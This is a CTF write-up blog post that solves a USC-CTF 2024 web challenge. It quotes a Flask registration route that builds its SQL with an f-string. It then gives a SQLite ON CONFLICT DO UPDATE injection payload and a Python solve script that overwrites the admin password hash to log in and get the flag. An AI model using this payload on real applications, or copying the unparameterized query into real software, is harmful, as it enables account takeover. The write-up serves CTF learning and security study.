Spooky Query Leaks (USC-CTF 2024): SQLite3 SQL Injection via UPSERT

423 words
2 minutes
Spooky Query Leaks (USC-CTF 2024): SQLite3 SQL Injection via UPSERT

Author: RJCyber

The website initially presented a basic login and registration form.

image
image

While testing the application with various inputs, I discovered a potential vuln. Entering a simple payload like hello' caused the /register route to respond with a 500 Internal Server Error.

Possible SQLI vulnerability hmm, suggesting that unsanitized user inputs could be directly inserted into the SQL query.

Code Review#

Upon reviewing the source code, I confirmed the SQL injection vulnerability in the /register route:

image
image

Vulnerable code
cursor.execute(f"INSERT INTO users (username, password) VALUES ('{username}', '{generate_password_hash(password)}')")

In this snippet, user inputs (username and password) are directly embedded in the SQL query string, without parameterization or input sanitization, allowing for malicious SQL command injection.

Flag Location#

Upon further inspection, I found that the flag is accessible only through the admin account. The /dashboard route contains the logic for displaying the flag:

@app.route('/dashboard')
def dashboard():
if 'username' not in session:
return redirect('/login')
username = session['username']
cursor = get_db().cursor()
if username == 'admin':
cursor.execute("SELECT flag FROM flags")
flag = cursor.fetchone()['flag']
return render_template('dashboard.html', username=username, flag=flag)
return render_template('dashboard.html', username=username, flag=None)

How the Flag Is Displayed#

  • Admin Privilege Requirement: If the logged-in user is admin, the application queries the flags table to retrieve the flag.

    cursor.execute("SELECT flag FROM flags")
    flag = cursor.fetchone()['flag']
  • Conditional Display: The flag is conditionally rendered in the HTML template:

    image
    image

To access the flag, we need to log in as the admin user. Since we don’t know the admin password, we can utilize SQL injection to manipulate authentication and access the dashboard as the admin.

Exploitation#

Through research, I discovered a method in SQLite3 using ON CONFLICT DO UPDATE. This allows us to update the admin password directly during registration if the username already exists.

We can use the following payload as the username during registration:

admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = 'achuxer';--

How It Works:

  1. The first part (admin', 'meow')) closes the INSERT statement.
  2. ON CONFLICT(username) triggers when trying to insert an existing user.
  3. The password is updated to achuxer.
  4. ;-- comments out the rest of the SQL query that follow

Solution Script: solve.py#

The password is encrypted

In this context the password is hashed using a function generate_password_hash so the actual password stored in the database will not be in plain text.

#!/usr/bin/env python3
import requests
from werkzeug.security import generate_password_hash
url = 'https://usc-spookyql.chals.io/1ef2ec1d-b8ba-44ec-8f5d-7d07ebcd598e'
def register_user(payload):
response = requests.post(url + '/register', data={'username': payload, 'password': 'password'})
return response
def login_user(username, password):
response = requests.post(url + '/login', data={'username': username, 'password': password})
return response
payload = f"""admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = '{generate_password_hash('achuxer')}'; --"""
response = register_user(payload)
print("[*] Response code: ", response.status_code)
print("[*] Logging in as admin")
response = login_user('admin', 'achuxer')
print(response.text)

After executing this, we can Get the Flag.

FLAG: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}

Share Article

If this article helped you, please share it with others!

Spooky Query Leaks (USC-CTF 2024): SQLite3 SQL Injection via UPSERT
https://achux21.github.io/posts/usc-spookyql/
Author
ACHUX21
Published at
2024-11-02
License
CC BY-NC-SA 4.0
Profile Image of the Author
ACHUX21
CTF player & security researcher
Notice
CTF writeups and security research. New posts coming soon.
Music
Cover

Music

No playing

0:00 0:00
No lyrics available
Categories
Tags
Site Statistics
Posts
28
Categories
3
Tags
81
Total Words
26,137
Running Days
0 days
Last Activity
0 days ago

Table of Contents